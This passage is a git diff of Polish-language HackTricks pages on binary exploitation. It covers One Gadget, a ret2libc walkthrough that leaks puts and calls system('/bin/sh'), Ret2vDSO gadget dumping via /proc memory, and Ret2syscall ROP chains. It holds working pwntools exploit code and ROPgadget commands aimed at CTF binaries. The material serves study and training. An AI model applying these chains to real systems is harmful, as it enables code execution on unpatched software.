Aby uzyskać adres wskazany przez One Gadget, **należy dodać adres bazowy, gdzie jest załadowany `libc`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
One Gadget jest **wielką pomocą dla technik Arbitrary Write 2 Exec** i może **upraszczać łańcuchy ROP**, ponieważ musisz wywołać tylko jeden adres (i spełnić wymagania).
|
||||
One Gadget jest **wielką pomocą dla technik Arbitrary Write 2 Exec** i może **upraszczać łańcuchy ROP**, ponieważ wystarczy wywołać jeden adres (i spełnić wymagania).
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -17,7 +17,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
## Szybkie Podsumowanie
|
||||
|
||||
1. **Znajdź** przesunięcie **przepełnienia**
|
||||
2. **Znajdź** `POP_RDI`, `PUTS_PLT` i `MAIN_PLT` gadżety
|
||||
2. **Znajdź** gadżet `POP_RDI`, `PUTS_PLT` i `MAIN`
|
||||
3. Użyj poprzednich gadżetów do **wycieku adresu pamięci** funkcji puts lub innej funkcji libc i **znajdź wersję biblioteki libc** ([pobierz ją](https://libc.blukat.me))
|
||||
4. Z biblioteką **oblicz ROP i wykorzystaj to**
|
||||
|
||||
|
|
@ -44,9 +44,9 @@ return 0;
|
|||
```bash
|
||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
```
|
||||
## Szablon ROP - Wyciekanie adresu LIBC
|
||||
## Szablon ROP - Wyciek LIBC
|
||||
|
||||
Zamierzam użyć kodu znajdującego się tutaj, aby przeprowadzić atak wykorzystujący luki w zabezpieczeniach. Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:
|
||||
Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||
|
|
@ -54,7 +54,7 @@ Zamierzam użyć kodu znajdującego się tutaj, aby przeprowadzić atak wykorzys
|
|||
|
||||
## 1- Znajdowanie przesunięcia
|
||||
|
||||
Szablon wymaga przesunięcia przed kontynuacją ataku. Jeśli nie zostanie podane, zostanie wykonany odpowiedni kod w celu jego znalezienia (domyślnie `OFFSET = ""`):
|
||||
Szablon wymaga przesunięcia przed kontynuacją eksploatacji. Jeśli nie zostanie podane, zostanie wykonany niezbędny kod do jego znalezienia (domyślnie `OFFSET = ""`):
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
|
|
@ -74,10 +74,10 @@ return
|
|||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
```
|
||||
Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, korzystając z tej wartości.\
|
||||
Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości.\
|
||||
`OFFSET = "A" * 40`
|
||||
|
||||
Innym sposobem byłoby użycie: `pattern create 1000` -- _wykonaj do ret_ -- `pattern seach $rsp` z GEF.
|
||||
Innym sposobem byłoby użycie: `pattern create 1000` -- _wykonaj do ret_ -- `pattern search $rsp` z GEF.
|
||||
|
||||
## 2- Znajdowanie Gadgetów
|
||||
|
||||
|
|
@ -93,14 +93,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
|
|||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
`PUTS_PLT` jest potrzebne do wywołania **funkcji puts**.\
|
||||
`MAIN_PLT` jest potrzebne do ponownego wywołania **funkcji main** po jednej interakcji, aby ponownie **wykorzystać** przepełnienie (nieskończone rundy eksploatacji). **Jest używane na końcu każdego ROP, aby ponownie wywołać program**.\
|
||||
`MAIN_PLT` jest potrzebne do ponownego wywołania **funkcji main** po jednej interakcji, aby **wykorzystać** przepełnienie **ponownie** (nieskończone rundy eksploatacji). **Jest używane na końcu każdego ROP, aby ponownie wywołać program**.\
|
||||
**POP\_RDI** jest potrzebne do **przekazania** **parametru** do wywołanej funkcji.
|
||||
|
||||
W tym kroku nie trzeba niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.
|
||||
W tym kroku nie musisz niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.
|
||||
|
||||
## 3- Znajdowanie biblioteki libc
|
||||
|
||||
Nadszedł czas, aby dowiedzieć się, która wersja biblioteki **libc** jest używana. Aby to zrobić, **wyciekniemy** **adres** w pamięci funkcji `puts`, a następnie **poszukamy**, w której **wersji biblioteki** znajduje się wersja puts pod tym adresem.
|
||||
Nadszedł czas, aby dowiedzieć się, która wersja biblioteki **libc** jest używana. Aby to zrobić, zamierzamy **wyciek** **adresu** w pamięci **funkcji** `puts`, a następnie będziemy **szukać**, w której **wersji biblioteki** znajduje się wersja puts pod tym adresem.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
|
|
@ -134,8 +134,8 @@ Aby to zrobić, najważniejsza linia wykonanego kodu to:
|
|||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
To wyśle kilka bajtów, aż **nadpisze** **RIP**: `OFFSET`.\
|
||||
Następnie ustawiony zostanie **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Robimy to, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany pod adresem wskazywanym przez `PUTS_GOT`.\
|
||||
Następnie zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w rejestrze **RDI**), więc puts **odczyta zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wypisze go**.\
|
||||
Następnie ustawiony zostanie **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany pod adresem wskazywanym przez `PUTS_GOT`.\
|
||||
Następnie zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w rejestrze **RDI**), dzięki czemu puts odczyta zawartość wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wypisze go**.\
|
||||
Na koniec ponownie zostanie wywołana **funkcja main**, abyśmy mogli ponownie wykorzystać przepełnienie.
|
||||
|
||||
W ten sposób **oszukaliśmy funkcję puts**, aby **wypisała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**.
|
||||
|
|
@ -172,7 +172,7 @@ Możemy ustalić, która **libc** jest najprawdopodobniej używana.
|
|||
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||||
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||||
```
|
||||
Otrzymujemy 2 dopasowania (należy wypróbować drugie, jeśli pierwsze nie działa). Pobierz pierwsze:
|
||||
Otrzymujemy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwsze nie działa). Pobierz pierwsze:
|
||||
```bash
|
||||
./download libc6_2.23-0ubuntu10_amd64
|
||||
Getting libc6_2.23-0ubuntu10_amd64
|
||||
|
|
@ -181,9 +181,9 @@ Getting libc6_2.23-0ubuntu10_amd64
|
|||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
```
|
||||
Skopiuj libc z `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` do naszego katalogu roboczego.
|
||||
|
||||
### 3.3- Inne funkcje do wycieku
|
||||
|
||||
Skopiuj libc z `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` do naszego katalogu roboczego.
|
||||
```python
|
||||
puts
|
||||
printf
|
||||
|
|
@ -206,7 +206,7 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
|
|||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Należy pamiętać, że **końcowy adres podstawy libc musi kończyć się na 00**. Jeśli tak nie jest, może to oznaczać wyciek nieprawidłowej biblioteki.
|
||||
Należy pamiętać, że **końcowy adres podstawy libc musi kończyć się cyfrą 00**. Jeśli tak nie jest w twoim przypadku, możesz wyciekł nieprawidłową bibliotekę.
|
||||
{% endhint %}
|
||||
|
||||
Następnie adres funkcji `system` oraz **adres** łańcucha _"/bin/sh"_ zostaną **obliczone** na podstawie **adresu podstawy libc** i danej **biblioteki libc**.
|
||||
|
|
@ -229,7 +229,7 @@ p.sendline(rop2)
|
|||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
## Wyjaśnijmy ten ostatni ROP.
|
||||
Ostatni ROP (`rop1`) kończył się ponownym wywołaniem funkcji `main`, dzięki czemu możemy **ponownie wykorzystać** **przepełnienie** (dlatego tutaj ponownie jest `OFFSET`). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr. Na koniec **wywoływany jest adres funkcji exit**, aby proces **ładnie zakończył działanie** i nie generował żadnych alertów.
|
||||
Ostatni ROP (`rop1`) zakończył się ponownym wywołaniem funkcji `main`, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego tutaj ponownie jest `OFFSET`). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr. Na koniec **wywołany jest adres funkcji exit**, aby proces **ładnie zakończył działanie** i nie generował żadnych alertów.
|
||||
|
||||
**W ten sposób exploit uruchomi powłokę \_/bin/sh**.
|
||||
|
||||
|
|
@ -246,7 +246,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
|||
```
|
||||
## PLIK EXPLOITACJI
|
||||
|
||||
Szablon wykorzystania tej podatności znajdziesz tutaj:
|
||||
Szablon do wykorzystania tej podatności znajdziesz tutaj:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||
|
|
@ -284,10 +284,10 @@ BINSH = next(libc.search("/bin/sh")) - 64
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -198,13 +198,11 @@ P.sendline(rop2)
|
|||
|
||||
P.interactive() #Interact with your shell :)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Wspólne problemy
|
||||
|
||||
### MAIN_PLT = elf.symbols\['main'] nie został znaleziony
|
||||
### MAIN\_PLT = elf.symbols\['main'] nie został znaleziony
|
||||
|
||||
Jeśli symbol "main" nie istnieje. W takim przypadku można po prostu sprawdzić, gdzie znajduje się kod główny:
|
||||
Jeśli symbol "main" nie istnieje (prawdopodobnie ze względu na to, że jest to okrojony plik binarny), możesz po prostu znaleźć, gdzie znajduje się kod główny:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
|
@ -214,13 +212,13 @@ i ustaw adres ręcznie:
|
|||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
### Puts nie znaleziony
|
||||
### Puts not found
|
||||
|
||||
Jeśli binarny plik nie używa funkcji Puts, powinieneś sprawdzić, czy używa
|
||||
Jeśli plik binarny nie używa Puts, powinieneś **sprawdzić, czy używa**
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Jeśli po utworzeniu całego exploitu napotkasz ten **błąd**: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
Jeśli po utworzeniu **wszystkich** exploitów napotkasz ten **błąd**: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
|
||||
```python
|
||||
|
|
@ -228,7 +226,7 @@ BINSH = next(libc.search("/bin/sh")) - 64
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -236,6 +234,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,78 @@
|
|||
# Ret2vDSO
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
W obszarze **vDSO mogą znajdować się gadżety**, które służą do przejścia z trybu użytkownika do trybu jądra. W tego rodzaju wyzwaniach zazwyczaj dostarczany jest obraz jądra do zrzucenia obszaru vDSO.
|
||||
|
||||
Idąc za przykładem z [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) można zobaczyć, jak było możliwe zrzucenie sekcji vdso i przeniesienie jej na hosta za pomocą:
|
||||
```bash
|
||||
# Find addresses
|
||||
cat /proc/76/maps
|
||||
08048000-08049000 r--p 00000000 00:02 317 /target
|
||||
08049000-0804a000 r-xp 00001000 00:02 317 /target
|
||||
0804a000-0804b000 rw-p 00002000 00:02 317 /target
|
||||
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
|
||||
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
|
||||
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
|
||||
|
||||
# Dump it
|
||||
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
|
||||
8192+0 records in
|
||||
8192+0 records out
|
||||
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
|
||||
|
||||
# Compress and leak it
|
||||
gzip vdso
|
||||
base64 vdso.gz
|
||||
|
||||
# Decompress and check of gadgets
|
||||
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
|
||||
file vdso
|
||||
ROPgadget --binary vdso | grep 'int 0x80'
|
||||
```
|
||||
Znalezione gadżety ROP:
|
||||
```python
|
||||
vdso_addr = 0xf7ffc000
|
||||
|
||||
int_0x80_xor_eax_eax_ret_addr = 0x8049010
|
||||
bin_sh_addr = 0x804a800
|
||||
|
||||
# 0x0000057a : pop edx ; pop ecx ; ret
|
||||
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
|
||||
|
||||
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
|
||||
|
||||
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
|
||||
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
||||
|
||||
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
|
||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`.
|
||||
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
|
||||
|
||||
Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfiguracja:
|
||||
|
||||
|
|
@ -25,16 +25,16 @@ Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfigura
|
|||
* `rsi: 0 określ brak przekazywanych argumentów`
|
||||
* `rdx: 0 określ brak przekazywanych zmiennych środowiskowych`
|
||||
|
||||
Więc w zasadzie potrzebne jest zapisanie ciągu `/bin/sh` gdzieś, a następnie wykonanie `syscall` (będąc świadomym wymaganego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze.
|
||||
Więc w zasadzie trzeba zapisać ciąg znaków `/bin/sh` gdzieś, a następnie wykonać `syscall` (będąc świadomym wymaganego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze.
|
||||
|
||||
{% hint style="success" %}
|
||||
Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**.
|
||||
Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode.md).
|
||||
{% endhint %}
|
||||
|
||||
## Gadżety rejestrów
|
||||
|
||||
Zacznijmy od znalezienia **jak kontrolować te rejestry**:
|
||||
```c
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
0x0000000000400686 : pop rdi ; ret
|
||||
|
|
@ -63,6 +63,12 @@ Następnie musisz znaleźć sposób na zapisanie dowolnej zawartości pod tym ad
|
|||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Automatyzacja łańcucha ROP
|
||||
|
||||
Następujące polecenie tworzy pełny łańcuch ROP dla `sys_execve` dla statycznego pliku binarnego, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
#### 32 bity
|
||||
```python
|
||||
'''
|
||||
|
|
@ -103,13 +109,11 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|||
```
|
||||
## Brakujące Gadżety
|
||||
|
||||
Jeśli **brakuje Ci gadżetów**, na przykład do zapisania `/bin/sh` w pamięci, możesz użyć techniki **SROP do kontrolowania wszystkich wartości rejestrów** (włącznie z RIP i rejestrów parametrów) ze stosu:
|
||||
Jeśli **brakuje Ci gadżetów**, na przykład do zapisania `/bin/sh` w pamięci, możesz użyć techniki **SROP do kontrolowania wszystkich wartości rejestrów** (w tym RIP i rejestrów parametrów) ze stosu:
|
||||
|
||||
{% content-ref url="ret2esp-ret2reg/srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](ret2esp-ret2reg/srop-sigreturn-oriented-programming.md)
|
||||
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Przykład Wykorzystania
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -184,17 +188,3 @@ target.interactive()
|
|||
* 64 bity, nx, brak PIE, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bity, brak PIE, nx, BF canary, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
